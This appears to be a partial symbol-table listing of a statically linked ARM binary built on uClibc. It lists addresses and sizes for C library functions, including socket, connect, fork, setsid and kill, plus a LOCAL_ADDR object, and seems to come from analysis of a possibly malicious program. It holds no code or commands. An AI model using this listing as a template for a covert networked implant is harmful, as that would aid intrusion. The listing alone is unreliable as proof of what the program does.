$a	.symtab	0x17bc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17bc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ff8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18064	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1811c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1813c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18280	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x187c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x187d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x187d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x187e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1889c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x188e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1903c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22060	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2205c	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x84e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8ffc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa1a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa638	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xacfc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb694	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbd40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbe5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbf34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcacc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22110	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xcb1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd098	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd5e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd61c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd6f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe0ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe118	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe13c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe298	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe450	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xeb94	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2213c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22140	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22144	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22148	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xec18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xec80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xed50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xee2c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xee60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xee84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xef20	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xefc0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf92c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2214c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x1031c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10408	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x104fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10540	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10580	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x105c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10644	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10688	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10714	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1083c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10920	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x109e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10a94	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19b50	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x10b70	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10ba0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10bd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10d80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10dec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10e60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10ea4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10ee8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10f5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10fa0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10fe8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1102c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1106c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x110dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x111ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x111f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11260	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x112ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11334	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1137c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x113c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11414	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x114e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11ee8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22150	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x12030	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x123ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12890	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x128e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22168	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x12ab4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12b6c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12c2c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12cd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22180	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22218	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x12d78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12f3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1302c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19b68	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x130dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2222c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x13224	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13840	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13c10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13dfc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13f28	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13f40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13fd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14060	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x140f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x142dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14390	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x143f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14444	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x147f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22244	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x148b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x148e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14960	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x149dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14a40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14aa8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14b48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14bd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14c10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14c50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ca8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ce8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14d28	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14d84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14df0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1505c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1540c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15734	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15b90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15c34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2225c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22258	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x162cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1667c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x167b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16df8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16ee4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17120	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17214	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1727c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x172ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17528	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17588	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17638	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17790	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x178c8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1799c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17a6c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17b20	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17e10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x187b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x22250	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x19bf6	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x19bd4	12	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x19b50	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x19be0	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x19f1c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x19ef8	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x19f10	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x19f04	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x24eb4	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x10cc8	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x10ce4	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x149e0	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x22068	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x17bc4	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x17bc8	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x18878	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x17bbc	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x17c00	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1889c	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x1903c	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x17bf4	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1880c	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x18830	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x18854	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x17b24	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x1813c	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x17b70	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x22250	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x19bf6	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x22058	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x22058	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x22250	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x13f60	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x13f44	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x22254	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x10b84	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x1028c	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x13f60	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x10324	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x13ff0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x14110	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x14080	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x13ff0	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x13fd4	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x14110	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x140f4	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x11514	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x11538	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x114f0	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x14328	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x143f8	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x14080	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x14064	24	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x149e0	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x128ec	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x10df4	116	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x10e68	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x175ec	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x13f60	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x10748	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x15398	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x153cc	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x15070	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x10ef0	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x13038	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x15414	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x10324	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x162e8	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x15dd8	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x15f1c	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x167c0	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x15744	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x1386c	972	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x14a48	100	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x14b4c	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x14b78	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x14b8c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x14ba0	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x14bb4	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x13cd0	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x14bdc	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x10f64	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x14c14	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x14c54	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x10d88	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x17124	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x12e54	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x1042c	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x17084	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x1050c	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x10ff0	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x17ab4	112	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x10be0	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x10bf0	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x179a0	36	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x10c00	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x1483c	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x14c68	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x14cac	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x14d2c	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x13ff0	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x10928	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x13d18	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x12a2c	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x12cec	144	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x179c4	176	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x14110	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x10a9c	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x14f84	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x10544	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x11074	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x1112c	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x14d8c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x105c8	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x111f8	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x112b4	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x1064c	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x1133c	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x12f4c	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x148e4	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x113c8	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x11418	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x1142c	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x1068c	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x13e08	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x11384	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x12d7c	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x16d10	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x16e00	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x16cf0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x16cf0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x10d00	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x16eec	68	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x10d24	52	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x10ca0	96	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x17044	64	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x16f30	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x16f80	76	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x10d58	48	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x16fcc	120	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x13248	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x170a8	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x10718	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x14df8	20	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x14080	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x22064	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x22064	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x18878	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1880c	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x18830	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x18854	36	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x10134	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x10260	24	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x14990	8	FUNC	<unknown>	DEFAULT	2
__aeabi_uidiv	.symtab	0x10020	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x1011c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x187d8	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x187d0	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x187c8	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2294c	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x2222c	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x25498	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x22340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x22340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x143a4	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x13f60	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x13f44	24	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x22254	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x24eb0	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x22110	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x14984	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x14978	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
